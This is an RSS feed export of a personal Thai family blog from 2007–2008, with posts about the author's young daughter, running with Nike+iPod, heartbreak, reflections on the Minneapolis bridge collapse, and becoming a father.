<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.2.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>weloveblog.com</title>
	<link>http://www.weloveblog.com</link>
	<description>Story and Photo of my Life</description>
	<pubDate>Wed, 16 Jan 2008 12:54:39 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.2.1</generator>
	<language>en</language>
			<item>
		<title>จอม The Star</title>
		<link>http://www.weloveblog.com/2008/01/16/jom-the-star/</link>
		<comments>http://www.weloveblog.com/2008/01/16/jom-the-star/#comments</comments>
		<pubDate>Wed, 16 Jan 2008 12:54:39 +0000</pubDate>
		<dc:creator>ทอม</dc:creator>
		
		<category><![CDATA[พ่อคนหนึ่ง]]></category>

		<guid isPermaLink="false">http://www.weloveblog.com/2008/01/16/jom-the-star/</guid>
		<description><![CDATA[หายไปนานนนนนนน เลยครับ วันนี้คิดว่าอากาศคงจะกลับมาหนาวอีกครั้ง หรือหนักกว่านั้นหิมะ อาจจะตกก็เป็นได้ เพราะผมมานั่งเขียน Blog (ประชดตัวเองซะอย่างนั้น) ที่ผ่านมาก็ไม่ได้ติดงานอะไรมากมาย จนไม่มีเวลามาอัพเดทหรอกครับ ส่วนใหญ่จะติดหญิงซะมากกว่า (เอาเข้าไป) เป็นความขี้เกียจส่วนบุคคลจริงๆ ขอยอมรับผิดครับ สำหรับใครที่รออ่านเรื่องไม่เป็นเรื่องของผม ต้องขออภัยอย่างยิ่ง เอาไว้จะทยอยลงให้อ่านกันครับ ถ้าอยากอ่านกันนะ (จะมีใครอยากอ่านไหมเนี่ย)
วันนี้มาเรียกน้ำย่อยกับ เจ้าหนูลูกรัก น้องจอมขวัญ ในมาดของว่าที่ The Star ประจำปี&#8230;ปี&#8230;.ไหน อะ อีกสัก 15 ปี ข้างหน้าแล้วกันครับ ดูการเตรียมความพร้อมของเจ้าหนูจอมกันดู อย่าลืมคอมเมนต์ เป็นกำลังใจให้หนูจอมด้วยนะครับ

    
]]></description>
			<content:encoded><![CDATA[<p>หายไปนานนนนนนน เลยครับ วันนี้คิดว่าอากาศคงจะกลับมาหนาวอีกครั้ง หรือหนักกว่านั้นหิมะ อาจจะตกก็เป็นได้ เพราะผมมานั่งเขียน Blog (ประชดตัวเองซะอย่างนั้น) ที่ผ่านมาก็ไม่ได้ติดงานอะไรมากมาย จนไม่มีเวลามาอัพเดทหรอกครับ ส่วนใหญ่จะติดหญิงซะมากกว่า (เอาเข้าไป) เป็นความขี้เกียจส่วนบุคคลจริงๆ ขอยอมรับผิดครับ สำหรับใครที่รออ่านเรื่องไม่เป็นเรื่องของผม ต้องขออภัยอย่างยิ่ง เอาไว้จะทยอยลงให้อ่านกันครับ ถ้าอยากอ่านกันนะ (จะมีใครอยากอ่านไหมเนี่ย)</p>
<p>วันนี้มาเรียกน้ำย่อยกับ เจ้าหนูลูกรัก น้องจอมขวัญ ในมาดของว่าที่ The Star ประจำปี&#8230;ปี&#8230;.ไหน อะ อีกสัก 15 ปี ข้างหน้าแล้วกันครับ ดูการเตรียมความพร้อมของเจ้าหนูจอมกันดู อย่าลืมคอมเมนต์ เป็นกำลังใจให้หนูจอมด้วยนะครับ</p>
<p><object width="425" height="350">
<param name="movie" value="http://www.youtube.com/v/uyCzNQSkmqQ"> </param> <embed src="http://www.youtube.com/v/uyCzNQSkmqQ" type="application/x-shockwave-flash" width="425" height="350"> </embed> </object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.weloveblog.com/2008/01/16/jom-the-star/feed/</wfw:commentRss>
		</item>
		<item>
		<title>มารู้จักกับ nike+ ipod</title>
		<link>http://www.weloveblog.com/2007/09/30/nike-ipod01/</link>
		<comments>http://www.weloveblog.com/2007/09/30/nike-ipod01/#comments</comments>
		<pubDate>Sun, 30 Sep 2007 07:17:53 +0000</pubDate>
		<dc:creator>ทอม</dc:creator>
		
		<category><![CDATA[nike+ipod]]></category>

		<guid isPermaLink="false">http://www.weloveblog.com/2007/09/30/nike-ipod01/</guid>
		<description><![CDATA[ 
สวัสดีครับ ไม่ได้อัพเดท Blog ซะนานเลย สำหรับแฟนๆ Weloveblog ก็ไม่ต้องห่วงนะครับ ผมยังอยู่รอดปลอดภัยและสบายดี ที่หายไปช่วงนี้ก็เพราะว่าหนีไปทำงานประจำครับ เลยต้องปรับตัวอะไรหลายๆ อย่างให้เข้ากับวัฒนธรรมการทำงานของออฟฟิศใหม่ ซึ่งก็เป็นไปได้ด้วยดี ช่วงนี้ชีวิตเริ่มมีจังหวะที่ดีขึ้น ถึงจะไม่หวือหวา โลดโผน เหมือนเมื่อก่อน แต่ก็ไม่แน่นิ่งเหมือนยืนอยู่กับที่นะครับ
ทักทายกันมาพอสมควรมาเข้าเรื่องกันดีกว่า
ที่ผ่านมาจะเห็นว่าเรื่องราวใน blog เกือบร้อยละร้อย เป็นเรื่องของความรู้สึกล้วนๆ ไม่ได้มีเรื่องประเทืองปัญญาสำหรับผู้อ่านเท่าไหร่ ผมเลยคิดที่จะนำเสนอสิ่งที่เป็นประโยชน์ หรืออะไรที่ใหม่ๆ ขึ้นใน weloveblog ซึ่งเป็นความตั้งใจที่คิดมานานแล้วครับ นานมากจนลืมๆ จำๆ ไปหลายรอบแล้ว &#8230;
และแล้วตอนนี้ผมก็ได้เรื่องที่ดูเป็นเรื่องเป็นราวขึ้นมาแล้ว ครับเรื่องที่ผมจะนำเสนอต่อจากนี้ไป เป็นเรื่องเกี่ยวกับการวิ่ง การออกกำลังที่ทำได้ง่ายที่สุด ทุกที่ ทุกเวลา  แต่เดี่ยวก่อน ถ้าเป็นการวิ่งแบบทั่วๆไป ดูเหมือนจะเป็นเรื่องพื้นๆ ไม่น่าสนใจอะไรใช่ไหมครับ ที่ผมกำลังนำเสนอมันมีอะไรมากกว่านั้นแน่นอนครับ
]]></description>
			<content:encoded><![CDATA[<p> <img src="http://www.weloveblog.com/wp-content/uploads/2007/09/bb.jpg" alt="bb.jpg" /></p>
<p>สวัสดีครับ ไม่ได้อัพเดท Blog ซะนานเลย สำหรับแฟนๆ Weloveblog ก็ไม่ต้องห่วงนะครับ ผมยังอยู่รอดปลอดภัยและสบายดี ที่หายไปช่วงนี้ก็เพราะว่าหนีไปทำงานประจำครับ เลยต้องปรับตัวอะไรหลายๆ อย่างให้เข้ากับวัฒนธรรมการทำงานของออฟฟิศใหม่ ซึ่งก็เป็นไปได้ด้วยดี ช่วงนี้ชีวิตเริ่มมีจังหวะที่ดีขึ้น ถึงจะไม่หวือหวา โลดโผน เหมือนเมื่อก่อน แต่ก็ไม่แน่นิ่งเหมือนยืนอยู่กับที่นะครับ</p>
<p>ทักทายกันมาพอสมควรมาเข้าเรื่องกันดีกว่า</p>
<p>ที่ผ่านมาจะเห็นว่าเรื่องราวใน blog เกือบร้อยละร้อย เป็นเรื่องของความรู้สึกล้วนๆ ไม่ได้มีเรื่องประเทืองปัญญาสำหรับผู้อ่านเท่าไหร่ ผมเลยคิดที่จะนำเสนอสิ่งที่เป็นประโยชน์ หรืออะไรที่ใหม่ๆ ขึ้นใน weloveblog ซึ่งเป็นความตั้งใจที่คิดมานานแล้วครับ นานมากจนลืมๆ จำๆ ไปหลายรอบแล้ว &#8230;</p>
<p>และแล้วตอนนี้ผมก็ได้เรื่องที่ดูเป็นเรื่องเป็นราวขึ้นมาแล้ว ครับเรื่องที่ผมจะนำเสนอต่อจากนี้ไป เป็นเรื่องเกี่ยวกับการวิ่ง การออกกำลังที่ทำได้ง่ายที่สุด ทุกที่ ทุกเวลา  แต่เดี่ยวก่อน ถ้าเป็นการวิ่งแบบทั่วๆไป ดูเหมือนจะเป็นเรื่องพื้นๆ ไม่น่าสนใจอะไรใช่ไหมครับ ที่ผมกำลังนำเสนอมันมีอะไรมากกว่านั้นแน่นอนครับ</p>
<p> <a href="http://www.weloveblog.com/2007/09/30/nike-ipod01/#more-184" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.weloveblog.com/2007/09/30/nike-ipod01/feed/</wfw:commentRss>
		</item>
		<item>
		<title>ความเข้าใจที่ไม่เคยได้เข้าใจ</title>
		<link>http://www.weloveblog.com/2007/08/11/understand/</link>
		<comments>http://www.weloveblog.com/2007/08/11/understand/#comments</comments>
		<pubDate>Sat, 11 Aug 2007 03:11:59 +0000</pubDate>
		<dc:creator>ทอม</dc:creator>
		
		<category><![CDATA[ความรัก]]></category>

		<category><![CDATA[ตามมุมมอง]]></category>

		<guid isPermaLink="false">http://www.weloveblog.com/2007/08/11/understand/</guid>
		<description><![CDATA[ 
ผมเดินออกจากลิฟท์ เมื่อประตูลิฟท์เปิดออก เท้าทั้งสองข้างพยายามเบี่ยงเบนพาร่างกายเดินตรงไปที่หน้าต่าง แทนที่จะเดินเข้าห้องทำงานเหมือนที่เคย วันนี้คืออีกวันในฤดูฝน ที่ผมต้องเสียใจกับเรื่องซ้ำซาก เรื่องซ้ำซากที่มีอิทธิพลต่อความรู้สึกอย่างร้ายกาจ จนต่อมน้ำตาต้องออกแรงทำงานกันอีกครั้ง
ฝนตกปอยๆ ผมยืนอยู่ริมหน้าต่างของตึกชั้นที่ 7 ลมจากภายนอกอาคารพัดหอบเอาฝนเม็ดน้อย เข้ามาไล้สองแก้ม ท่าทีเหมือนจะปาดน้ำตาบนหน้าใบเศร้าใบนี้ ผมคิดขอบคุณลมและเม็ดฝนอยู่ในใจ ถึงแม้มันจะไม่สามารถทำให้ผมตื่นจากความรู้สึกแย่ๆ ได้ก็ตาม อย่างน้อยมันก็ยังมีน้ำใจกว่าใครบางคน ที่คงไม่ได้รู้สึกอะไรกับผลที่เกิดขึ้นกับผมครั้งนี้
ลมยังพัดหอบเม็ดฝนเข้ามาทางหน้าต่างอย่างต่อเนื่อง เช่นเดียวกับต่อมน้ำตาที่ทำงานสอดรับกับลมและฝนอย่างขยันขันแข็ง ความรู้สึกแย่ๆ ที่เป็นตัวบงการให้ต่อมน้ำตาต้องออกแรง มันไม่ได้เป็นสิ่งแปลกใหม่สำหรับชีวิตของผม แต่ถึงกระนั้นผมก็ไม่สามารถทำความคุ้นเคยกับมันได้สักที
ความจริงก็คือ เรื่องบางเรื่องผมไม่มีหน้าที่ ที่จะต้องไปทำความเข้าใจกับมัน เพราะที่สุดแล้วมันไม่มีความเข้าใจให้ผมได้สบายใจเลย การพยายามวิ่งทำความเข้าใจกับเรื่องพวกนี้นอกจากจะทำร้ายความรู้สึกตัวเองตลอดเวลาแล้ว ยังทำร้ายคนรอบข้างที่อยู่ในระยะทำการของความรู้สึกเราอีกด้วย
เลิกทำความเข้าใจ เลิกมานั่งคิด นั่งถามว่า &#8220;ทำไม&#8221; &#8220;เพราะอะไร&#8221; เสียที ผมพูดกับความรู้สึกอ่อนล้าในใจ ตอนนี้ผมไม่ได้อยู่ริมหน้าต่างชั้น 7 แล้ว  ผมกำลังก้าวขึ้นบันไดไปที่ดาดฟ้า ประตูดาดฟ้าไม่ได้ปิดไว้อย่างสนิท ทำให้แสงที่ไม่สว่างนักในฤดูฝนผ่านช่องประตูเข้ามา ถึงไม่ได้เป็นแสงสว่างที่สวยเหมือนในฤดูอื่นๆ สำหรับผมตอนนี้มันก็ดูจะเป็นทางสว่างที่ดีที่สุด ผมเปิดประตูดาดฟ้าออกไปหาแสงสว่าง อากาศบนดาดฟ้าตึกขนาด 8 ชั้น ดีอย่างไม่ธรรมดาเลย รู้อย่างนี้ผมน่าจะก้าวออกมาเสียตั้งแต่ทีแรก ทนอยู่กับการทำความเข้าใจที่มันไม่เคยได้เข้าใจมาตั้งนาน
ตอนนี้ฝนเริ่มพากันตกหนักขึ้น ดูเหมือนมันจะมาร่วมไว้อาลัยให้กับผม ที่ได้ตายจากความรู้สึกของใครบางคน&#8230;
]]></description>
			<content:encoded><![CDATA[<p id="mb_0"><img src="http://www.weloveblog.com/wp-content/uploads/2007/08/last_un.jpg" alt="last_un.jpg" /> </p>
<p>ผมเดินออกจากลิฟท์ เมื่อประตูลิฟท์เปิดออก เท้าทั้งสองข้างพยายามเบี่ยงเบนพาร่างกายเดินตรงไปที่หน้าต่าง แทนที่จะเดินเข้าห้องทำงานเหมือนที่เคย วันนี้คืออีกวันในฤดูฝน ที่ผมต้องเสียใจกับเรื่องซ้ำซาก เรื่องซ้ำซากที่มีอิทธิพลต่อความรู้สึกอย่างร้ายกาจ จนต่อมน้ำตาต้องออกแรงทำงานกันอีกครั้ง</p>
<p>ฝนตกปอยๆ ผมยืนอยู่ริมหน้าต่างของตึกชั้นที่ 7 ลมจากภายนอกอาคารพัดหอบเอาฝนเม็ดน้อย เข้ามาไล้สองแก้ม ท่าทีเหมือนจะปาดน้ำตาบนหน้าใบเศร้าใบนี้ ผมคิดขอบคุณลมและเม็ดฝนอยู่ในใจ ถึงแม้มันจะไม่สามารถทำให้ผมตื่นจากความรู้สึกแย่ๆ ได้ก็ตาม อย่างน้อยมันก็ยังมีน้ำใจกว่าใครบางคน ที่คงไม่ได้รู้สึกอะไรกับผลที่เกิดขึ้นกับผมครั้งนี้</p>
<p>ลมยังพัดหอบเม็ดฝนเข้ามาทางหน้าต่างอย่างต่อเนื่อง เช่นเดียวกับต่อมน้ำตาที่ทำงานสอดรับกับลมและฝนอย่างขยันขันแข็ง ความรู้สึกแย่ๆ ที่เป็นตัวบงการให้ต่อมน้ำตาต้องออกแรง มันไม่ได้เป็นสิ่งแปลกใหม่สำหรับชีวิตของผม แต่ถึงกระนั้นผมก็ไม่สามารถทำความคุ้นเคยกับมันได้สักที</p>
<p>ความจริงก็คือ เรื่องบางเรื่องผมไม่มีหน้าที่ ที่จะต้องไปทำความเข้าใจกับมัน เพราะที่สุดแล้วมันไม่มีความเข้าใจให้ผมได้สบายใจเลย การพยายามวิ่งทำความเข้าใจกับเรื่องพวกนี้นอกจากจะทำร้ายความรู้สึกตัวเองตลอดเวลาแล้ว ยังทำร้ายคนรอบข้างที่อยู่ในระยะทำการของความรู้สึกเราอีกด้วย</p>
<p>เลิกทำความเข้าใจ เลิกมานั่งคิด นั่งถามว่า &#8220;ทำไม&#8221; &#8220;เพราะอะไร&#8221; เสียที ผมพูดกับความรู้สึกอ่อนล้าในใจ ตอนนี้ผมไม่ได้อยู่ริมหน้าต่างชั้น 7 แล้ว  ผมกำลังก้าวขึ้นบันไดไปที่ดาดฟ้า ประตูดาดฟ้าไม่ได้ปิดไว้อย่างสนิท ทำให้แสงที่ไม่สว่างนักในฤดูฝนผ่านช่องประตูเข้ามา ถึงไม่ได้เป็นแสงสว่างที่สวยเหมือนในฤดูอื่นๆ สำหรับผมตอนนี้มันก็ดูจะเป็นทางสว่างที่ดีที่สุด ผมเปิดประตูดาดฟ้าออกไปหาแสงสว่าง อากาศบนดาดฟ้าตึกขนาด 8 ชั้น ดีอย่างไม่ธรรมดาเลย รู้อย่างนี้ผมน่าจะก้าวออกมาเสียตั้งแต่ทีแรก ทนอยู่กับการทำความเข้าใจที่มันไม่เคยได้เข้าใจมาตั้งนาน</p>
<blockquote><p>ตอนนี้ฝนเริ่มพากันตกหนักขึ้น ดูเหมือนมันจะมาร่วมไว้อาลัยให้กับผม ที่ได้ตายจากความรู้สึกของใครบางคน&#8230;</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.weloveblog.com/2007/08/11/understand/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Out of Control</title>
		<link>http://www.weloveblog.com/2007/08/04/out-of-control/</link>
		<comments>http://www.weloveblog.com/2007/08/04/out-of-control/#comments</comments>
		<pubDate>Sat, 04 Aug 2007 00:26:15 +0000</pubDate>
		<dc:creator>ทอม</dc:creator>
		
		<category><![CDATA[ตามมุมมอง]]></category>

		<guid isPermaLink="false">http://www.weloveblog.com/2007/08/04/out-of-control/</guid>
		<description><![CDATA[ 
เมื่อวานได้ยินข่าวสะพานข้ามแม่น้ำถล่มในเมืองมินนิอาโปลิส รัฐมินนิโซตาของสหรัฐอเมริกา สาเหตุจากรายงานข่าวบอกว่าอาจเป็นเพราะความเก่าแก่ที่ใช้งานมาถึง 40 ปี ซึ่งเหตุเกิดช่วงชั่วโมงเร่งด่วน คาดผู้เสียชีวิตอาจสูงกว่า 9 ศพ เนื่องจากยังสูญหายอีก 20 คน และได้รับบาดเจ็บไปอีกประมาณ 60 คน ฟังแล้วชวนให้สยอง เรื่องที่ไม่น่าจะเกิด ก็เกิดขึ้นจนได้ น่าคิดไหมครับว่าทำไม เรื่องแค่นี้ มนุษย์เราไม่สามารถควบคุมไม่ให้มันเกิดขึ้นได้
นับตั้งแต่การเริ่มต้นคิดค้นเทคโนโลยีใหม่ๆ คนเราก็ก้าวข้ามกำแพงชั้นแรกเข้าสู่การควบคุมธรรมชาติ เราสามารถควบคุมและสั่งการสิ่งต่างๆ รอบตัวได้อย่างที่ใจเราต้องการ มากน้อยแค่ไหนก็ขึ้นกับกำลังเทคโนโลยีที่เรามี เราสามารถพาตัวเองไปที่ไหนต่อไหนก็ได้โดยพาหนะในรูปแบบต่างๆ  เวลาที่เราขับรถเราก็สามารถควบคุมรถให้วิ่งเร็ว วิ่งช้า เบรค เลี้ยวซ้ายหรือเลี้ยวขวา  การได้มาซึ่งการควบคุมอะไรสักอย่าง บางครั้งอาจจะต้องใช้การลงทุนอันแสนแพง และอาจจะต้องใช้เวลาลองผิดลองถูกในระยะหนึ่ง แต่สำหรับเรื่องบางเรื่องเราก็ไม่สามารถควบคุมมันได้ ไม่ว่าเราจะใช้กำลังทุนและเวลาเท่าไหร่ก็ตาม
คิดอะไรกันให้ยากบางครั้งเรื่องที่เราควบคุมมันได้อยู่ทุกวัน วันดีคืนร้ายเราก็ไม่สามารถควบคุมมันได้ซะอย่างนั้น รถที่เราใช้เป็นประจำทุกวัน คุณเคยทะเลาะกับมันบ้างไหมล่ะ แล้วดูอย่างอุบัติเหตุสะพานถล่มที่บอกไป คนเราสร้างเอง ควบคุมเองแท้ๆ ใช่ไหม วันนี้เราก็ไม่สามารถควบคุมมันได้เช่นกัน แล้วคุณคิดว่าชีวิตต่อๆ ไปเราจะต้องทำอย่างไร
ในเมื่อความจริงแล้วคือ คนเราไม่สามารถควบคุมอะไรได้อย่างแท้จริง
เอาเรื่องใกล้ตัวเราที่สุดบ้างดีกว่า ตั้งแต่เราเกิดมาเราเคยนับไหมครับว่า อะไรที่เราคิดว่าเราควบคุมมันได้ แต่สุดท้ายแล้วมันก็อยู่นอกเหนือการควบคุมของเราทุกที ลองยกตัวอย่างกันดู  หน้าที่การงาน วาสนา โชคชะตา และความรัก เราเคยผิดหวังกับเรื่องพวกนี้กันทุกคนแหละครับ ครั้งหนึ่งผมเคยควบคุมชีวิตตัวเองให้อยู่ในกรอบเป้าหมายที่ตัวเองตั้งเอาไว้ได้อย่างเป็นขั้นเป็นตอน แต่เมื่อปัจจัยหนึ่งที่สำคัญเกิดควบคุมไม่ได้ขึ้นมา [...]]]></description>
			<content:encoded><![CDATA[<p> <img src="http://www.weloveblog.com/wp-content/uploads/2007/08/p6236956bw.jpg" alt="p6236956bw.jpg" /></p>
<p>เมื่อวานได้ยินข่าวสะพานข้ามแม่น้ำถล่มในเมืองมินนิอาโปลิส รัฐมินนิโซตาของสหรัฐอเมริกา สาเหตุจากรายงานข่าวบอกว่าอาจเป็นเพราะความเก่าแก่ที่ใช้งานมาถึง 40 ปี ซึ่งเหตุเกิดช่วงชั่วโมงเร่งด่วน คาดผู้เสียชีวิตอาจสูงกว่า 9 ศพ เนื่องจากยังสูญหายอีก 20 คน และได้รับบาดเจ็บไปอีกประมาณ 60 คน ฟังแล้วชวนให้สยอง เรื่องที่ไม่น่าจะเกิด ก็เกิดขึ้นจนได้ น่าคิดไหมครับว่าทำไม เรื่องแค่นี้ มนุษย์เราไม่สามารถควบคุมไม่ให้มันเกิดขึ้นได้</p>
<p>นับตั้งแต่การเริ่มต้นคิดค้นเทคโนโลยีใหม่ๆ คนเราก็ก้าวข้ามกำแพงชั้นแรกเข้าสู่การควบคุมธรรมชาติ เราสามารถควบคุมและสั่งการสิ่งต่างๆ รอบตัวได้อย่างที่ใจเราต้องการ มากน้อยแค่ไหนก็ขึ้นกับกำลังเทคโนโลยีที่เรามี เราสามารถพาตัวเองไปที่ไหนต่อไหนก็ได้โดยพาหนะในรูปแบบต่างๆ  เวลาที่เราขับรถเราก็สามารถควบคุมรถให้วิ่งเร็ว วิ่งช้า เบรค เลี้ยวซ้ายหรือเลี้ยวขวา  การได้มาซึ่งการควบคุมอะไรสักอย่าง บางครั้งอาจจะต้องใช้การลงทุนอันแสนแพง และอาจจะต้องใช้เวลาลองผิดลองถูกในระยะหนึ่ง แต่สำหรับเรื่องบางเรื่องเราก็ไม่สามารถควบคุมมันได้ ไม่ว่าเราจะใช้กำลังทุนและเวลาเท่าไหร่ก็ตาม</p>
<p>คิดอะไรกันให้ยากบางครั้งเรื่องที่เราควบคุมมันได้อยู่ทุกวัน วันดีคืนร้ายเราก็ไม่สามารถควบคุมมันได้ซะอย่างนั้น รถที่เราใช้เป็นประจำทุกวัน คุณเคยทะเลาะกับมันบ้างไหมล่ะ แล้วดูอย่างอุบัติเหตุสะพานถล่มที่บอกไป คนเราสร้างเอง ควบคุมเองแท้ๆ ใช่ไหม วันนี้เราก็ไม่สามารถควบคุมมันได้เช่นกัน แล้วคุณคิดว่าชีวิตต่อๆ ไปเราจะต้องทำอย่างไร</p>
<blockquote><p>ในเมื่อความจริงแล้วคือ คนเราไม่สามารถควบคุมอะไรได้อย่างแท้จริง</p></blockquote>
<p>เอาเรื่องใกล้ตัวเราที่สุดบ้างดีกว่า ตั้งแต่เราเกิดมาเราเคยนับไหมครับว่า อะไรที่เราคิดว่าเราควบคุมมันได้ แต่สุดท้ายแล้วมันก็อยู่นอกเหนือการควบคุมของเราทุกที ลองยกตัวอย่างกันดู  หน้าที่การงาน วาสนา โชคชะตา และความรัก เราเคยผิดหวังกับเรื่องพวกนี้กันทุกคนแหละครับ ครั้งหนึ่งผมเคยควบคุมชีวิตตัวเองให้อยู่ในกรอบเป้าหมายที่ตัวเองตั้งเอาไว้ได้อย่างเป็นขั้นเป็นตอน แต่เมื่อปัจจัยหนึ่งที่สำคัญเกิดควบคุมไม่ได้ขึ้นมา ผลกระทบมันเลยเกิดขึ้นทั้งระบบ ผลคือ ผมไม่สามารถควบคุมชีวิตตัวเองในช่วงนั้นได้ โชคยังดีที่ยังกลับเข้าสู่ระบบได้ทันการณ์ ผมเลยคิดว่าไอ้แค่เรื่องของตัวเราเอง ยังควบคุมได้ยากลำบากซะขนาดนี้ การที่คนเราจะไปควบคุมธรรมชาติต่างๆ ได้ 100% นี่คงยังอีกไกล ตอนนี้ก็ต้องเสี่ยงเอาว่ามันจะอยู่นอกเหนือการควบคุมของเราเมื่อไหร่เท่านั้น</p>
<p>จริงๆ ที่เราสามารถควบคุมได้ก็มีเพียงตัวของเราเอง บางครั้ง บางทีเรายังควบคุมการกระทำบางอย่างของตัวเองไม่ได้เลย แล้วนับประสาอะไรกับการที่จะไปควบคุมสิ่งต่างๆ รอบๆ ตัวให้เป็นไปอย่างที่เราคิด เราต้องการ เรื่องง่ายๆ ที่ดูยากๆ ก็คือ จัดการตัวเราเองให้ได้ ตัวเราเองนี่แหละจัดการตัวเราเอง ความคิดเราเอง ควบคุมมันให้ดี ถ้าเราควบคุมได้ เราก็จะไม่ต้องมานั่งเสียใจ ผิดหวัง กับอะไรต่างๆ รอบตัวที่ไม่ได้เป็นไปอย่างที่เราต้องการ ใช่ครับผมกำลังให้เรา &#8220;ปลง&#8221; นั่นเอง</p>
<p>เหนื่อยไหมล่ะครับเวลาที่เราต้องออกแรงควบคุมอะไรสักอย่างให้ได้อย่างที่เราต้องการ แล้วคุณแน่ใจเหรอว่าคุณควบคุมสิ่งเหล่านั้นได้จริงๆ บางทีคุณและผมอาจจะกำลังหลอกตัวเองอยู่ก็ได้&#8230;.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.weloveblog.com/2007/08/04/out-of-control/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Love is the source of life</title>
		<link>http://www.weloveblog.com/2007/07/31/love-is-the-source-of-life/</link>
		<comments>http://www.weloveblog.com/2007/07/31/love-is-the-source-of-life/#comments</comments>
		<pubDate>Mon, 30 Jul 2007 18:14:33 +0000</pubDate>
		<dc:creator>ทอม</dc:creator>
		
		<category><![CDATA[ความรัก]]></category>

		<category><![CDATA[พ่อคนหนึ่ง]]></category>

		<guid isPermaLink="false">http://www.weloveblog.com/2007/07/31/love-is-the-source-of-life/</guid>
		<description><![CDATA[
  
เพลงเพราะมากนะครับ อย่าลืมเปิดลำโพงฟังกันหละ เดี๋ยวพรุ่งนี้จะตามมาเขียน จอมขวัญตื่น มาเรียก &#8220;พ่อทอมไปนอนได้แล้ววว&#8221; เอาล่ะพ่อที่ดีต้องเชื่อฟังลูก ไปนอนแล้ว&#8230;
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;
เขียนต่อตอนกลางวัน
เค้าว่ากันว่ามีลูกหนึ่งคนจะจนไปสิบแปดปี&#8230;.โห
ก็น่าจะจริงนะ ไหนจะค่าเลี้ยงดูต่างๆ ค่านม ค่าผ้าอ้อม โตมาอีกหน่อยถ้าเป็นลูกผู้หญิงเหมือนผมคงหนีไม่พ้นค่าแฟชั่นต่างๆ เสื้อผ้า เครื่องสำอางค์ โทรศัพท์มือถือ และอีกเพียบ แค่คิดต่อมหาเงินก็เริ่มรวนแล้ว
เดิมทีสมัยที่ผมเพิ่งแต่งงานใหม่ๆ ผมเป็นคนที่อยากมีลูกมากๆ อาจจะเป็นเพราะว่าครอบครัวผมอบอุ่นมาก หรือเรียกได้ว่ามากที่สุด ซึ่งส่งผลให้ผมเป็นคนรักครอบครัว เมื่อแต่งงานมีครอบครัวเข้าจริงๆ ก็อยากจะมีสมาชิกตัวน้อยๆ เลย จะได้เป็นครอบครัวจริงๆ ซะที และแล้ววันหนึ่งครอบครัวผมก็สมบูรณ์ วันนั้นคำว่าพ่อคนได้เข้ามาเคาะประตูบ้านเบาๆ และบอกกับเราสองคน ผมกับแฟน ผ่านกระดาษลิตมัสที่เค้าใช้ตรวจการตั้งครรภ์ ว่าอีกไม่น่าจะเกินเก้าเดือน เราจะมีลูกแล้ว ผมไม่แน่ใจว่าตั้งแต่เกิดมาจนถึงอายุในขณะนั้น 27 ปี ที่ชีวิตมีแต่เรื่องดีๆ จะมีเรื่องไหนที่จะทำให้ดีใจได้เท่านี้ ชนิดที่ว่าความปิคิ ยินดี ไหลอาบเต็มสี่ห้องของหัวใจ วันนั้นผมจำไม่ได้แล้วว่าผมตัวใหญ่แค่ไหน เหมือนไฟทุกดวงส่องมาที่ผมเพียงคนเดียว สิ่งที่ยากอย่างเดียวในตอนนั้นคือ ผมจะกดโทรศัพท์บอกใครก่อนดี โทรหาคุณพ่อ หรือโทรหาคุณแม่ก่อน &#8230;
ผมไม่รู้ว่าจะบอกเล่าถึงความรู้สึกตอนที่เค้าเกิดได้อย่างไร ตอนที่เค้าจ้องหน้าผมครั้งแรกในชีวิต อาจจะบอกความรู้สึกผ่านสมการทางคณิตศาสตร์ได้ตามสูตรนี้
ความรู้สึกตอนรู้ว่าตั้งครรภ์ x 10,000,000 = ความรู้สึกตอนที่เค้าเกิด
ผมไม่คิดว่าเรื่องที่ว่า ความรักทำให้คนตาบอด [...]]]></description>
			<content:encoded><![CDATA[<p><embed flashvars="cy=mp&amp;il=1&amp;channel=576460752306569925&amp;site=widget-c5.slide.com" wmode="transparent" salign="l" scale="noscale" quality="high" src="http://widget-c5.slide.com/widgets/slideticker.swf" name="flashticker" style="width: 426px; height: 320px"></embed></p>
<p style="width: 426px; text-align: left"><a target="_blank" href="http://www.slide.com/pivot?cy=mp&amp;ad=1&amp;id=576460752306569925&amp;map=1"><img border="0" src="http://widget-c5.slide.com/p1/576460752306569925/mp_t041_v000_a001_f00/images/xslide1.gif" isMap="true" /></a> <a target="_blank" href="http://www.slide.com/pivot?cy=mp&amp;ad=1&amp;id=576460752306569925&amp;map=2"><img border="0" src="http://widget-c5.slide.com/p2/576460752306569925/mp_t041_v000_a001_f00/images/xslide2.gif" isMap="true" /></a> <a target="_blank" href="http://www.slide.com/pivot?cy=mp&amp;ad=1&amp;id=576460752306569925&amp;map=E"></a></p>
<p>เพลงเพราะมากนะครับ อย่าลืมเปิดลำโพงฟังกันหละ เดี๋ยวพรุ่งนี้จะตามมาเขียน จอมขวัญตื่น มาเรียก &#8220;พ่อทอมไปนอนได้แล้ววว&#8221; เอาล่ะพ่อที่ดีต้องเชื่อฟังลูก ไปนอนแล้ว&#8230;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p><strong>เขียนต่อตอนกลางวัน</strong></p>
<p>เค้าว่ากันว่ามีลูกหนึ่งคนจะจนไปสิบแปดปี&#8230;.โห<br />
ก็น่าจะจริงนะ ไหนจะค่าเลี้ยงดูต่างๆ ค่านม ค่าผ้าอ้อม โตมาอีกหน่อยถ้าเป็นลูกผู้หญิงเหมือนผมคงหนีไม่พ้นค่าแฟชั่นต่างๆ เสื้อผ้า เครื่องสำอางค์ โทรศัพท์มือถือ และอีกเพียบ แค่คิดต่อมหาเงินก็เริ่มรวนแล้ว</p>
